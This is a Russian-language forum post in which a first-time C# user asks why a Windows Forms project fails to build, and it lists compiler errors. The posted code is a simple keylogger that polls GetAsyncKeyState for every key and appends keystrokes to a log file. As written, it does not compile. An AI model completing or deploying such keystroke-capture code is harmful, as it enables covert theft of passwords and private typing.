Microsoft visual studio последней версии, проект Windows Forms (.NET Framework) Первый раз пробую c# и визуал студио.
Код | using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms;
/// Импортируем GetAsyncKeyState из user32.dll:
[DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i);
// логирование нажатий
while (true) { Thread.Sleep(100); for (int i = 0; i < 255; i++) { int state = GetAsyncKeyState(i); if (state != 0) { buf += ((Keys)i).ToString(); if (buf.Length > 10) { File.AppendAllText("keylogger.log", buf); buf = ""; } } } }
|
ошибки:
Код | Компонент "инструкции верхнего уровня" недоступен в C# 7.3. Используйте версию языка 9.0 или выше. Компонент "Атрибуты локальной функции" недоступен в C# 7.3. Используйте версию языка 9.0 или выше. Модификатор "public" недопустим для этого элемента. Компонент "статические локальные функции" недоступен в C# 7.3. Используйте версию языка 8.0 или выше. Компонент "Внешние локальные функции" недоступен в C# 7.3. Используйте версию языка 9.0 или выше. Имя "buf" не существует в текущем контексте. Имя "buf" не существует в текущем контексте. Имя "File" не существует в текущем контексте. Имя "buf" не существует в текущем контексте. Имя "buf" не существует в текущем контексте.
|
|